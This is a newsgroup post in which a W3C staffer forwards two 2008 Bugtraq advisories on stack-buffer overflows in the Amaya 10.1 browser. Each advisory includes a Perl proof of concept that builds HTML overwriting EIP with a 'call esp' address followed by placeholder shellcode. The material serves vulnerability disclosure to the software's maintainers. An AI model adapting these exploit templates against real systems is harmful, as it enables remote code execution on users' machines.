stack overflows, from bugtraq

Thomas Roessler <[email protected]>
Newsgroups gmane.comp.web.amaya.general
Message-ID <[email protected]>
fyi
--
Thomas Roessler, W3C  <[email protected]>







Begin forwarded message:

> From: [email protected]
> Date: 24 November 2008 12:26:37 CEST
> To: [email protected]
> Subject: Amaya (URL Bar) Remote Stack Overflow Vulnerability
>
> #            W3C Amaya 10.1 Web Browser
> #
> # Amaya (URL Bar) Remote Stack Overflow Vulnerability
> #
> # Written and discovered by:
> # r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)
> #
> # Advisory: http://www.bmgsec.com.au/advisory/40/
> # ------------------------------------------------------
> #
> # Shellcode notes:
> # The application fails to correctly process certain bytes:
> # 0x9c becomes 0x9cc2
> # Similar events occur with different bytes (0xf8, 0xfb, 0xbe, 0x93,  
> 0xab, 0xaf 0xeb).
> #
> # After reviewing the source code, the below function modifies the
> # shellcode:
> # Line 902: int TtaWCToMBstring (wchar_t src, unsigned char **dest)
> #
> # The max value which can be used is 0x1fffff <-- Thanks Luigi!
> # ------------------------------------------------------
> #
> # The URL bar contains a buffer overflow vulnerability:
> # buffer length: 1600 bytes
> #
> # [junk] + [eip] +     [shellcode]
> #  1600  +   4   +  sizeof(shellcode)
> #
> # ESP points to data after EIP.
> #
> # I found it difficult to access the URL bar via HTML code. For  
> example, compile the above code,
> # write it to a HTML file, then load it into the browser. Attempt to  
> click the link and
> # you will notice there is a 800 character limit on the link.
> #
> # To bypass this problem click the link then select "Links" >>  
> "Create or change link...".
> # Now click "Confirm". Alternatively just copy the payload into the  
> URL bar.
> #
> # URL Bar Proof of concept:
> # ----------------------------------------------------
> #!/usr/bin/perl
>
> use warnings;
> use strict;
>
> my $shellcode = 'C' x 80;
>
> # 0x7D035F53 -> \x53\x5f\x03\x7d <-- Bingo! (call esp)
> my $data   =       '<a href="' .
>                        'A' x 1600 .
>                        "\x53\x5f\x03\x7d" . # eip (ESP points to  
> stuff after RET, so shellcode)
>                        $shellcode .
>                        '">r0ut3r</a>';
> print $data;
>
Begin forwarded message:

> From: [email protected]
> Date: 24 November 2008 12:28:28 CEST
> To: [email protected]
> Subject: Amaya (id) Remote Stack Overflow Vulnerability
>
> #            W3C Amaya 10.1 Web Browser
> #
> # Amaya (id) Remote Stack Overflow Vulnerability
> #
> # Written and discovered by:
> # r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)
> #
> # Advisory: http://www.bmgsec.com.au/advisory/41/
> # ------------------------------------------------------
> #
> # Shellcode notes:
> # The application fails to correctly process certain bytes:
> # 0x9c becomes 0x9cc2
> # Similar events occur with different bytes (0xf8, 0xfb, 0xbe, 0x93,  
> 0xab, 0xaf 0xeb).
> #
> # After reviewing the source code, the below function modifies the
> # shellcode:
> # Line 902: int TtaWCToMBstring (wchar_t src, unsigned char **dest)
> #
> # The max value which can be used is 0x1fffff <-- Thanks Luigi!
> # ------------------------------------------------------
> #
> # The "id" variable of a tag contains a buffer overflow:
> # <div id=" 93*'A/' ">r0ut3r</div>
> #
> # The application will not overflow with normal alphanumeric  
> characters.
> # To fill the buffer I had to use "A/" repeated 91 times. Therefore  
> buffer length is:
> # 91 * 2 = 182 + 4
> #
> # [junk] + [eip] +     [shellcode]
> #  182   +   4   +  sizeof(shellcode)
> #
> # ESP points to data after EIP.
> #
> # "id" variable Proof of concept:
> #!/usr/bin/perl
>
> use warnings;
> use strict;
>
> my $shellcode = 'C' x 350;
>
> # 0x7D035F53 -> \x53\x5f\x03\x7d <-- Bingo! (call esp)
> my $data   =       '<div id="' .
>                        'A/' x 91 .
>                        "\x53\x5f\x03\x7d" . # eip (ESP points to  
> stuff after RET, so shellcode)
>                        $shellcode .
>                        '">test</div>';
> print $data;
>
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.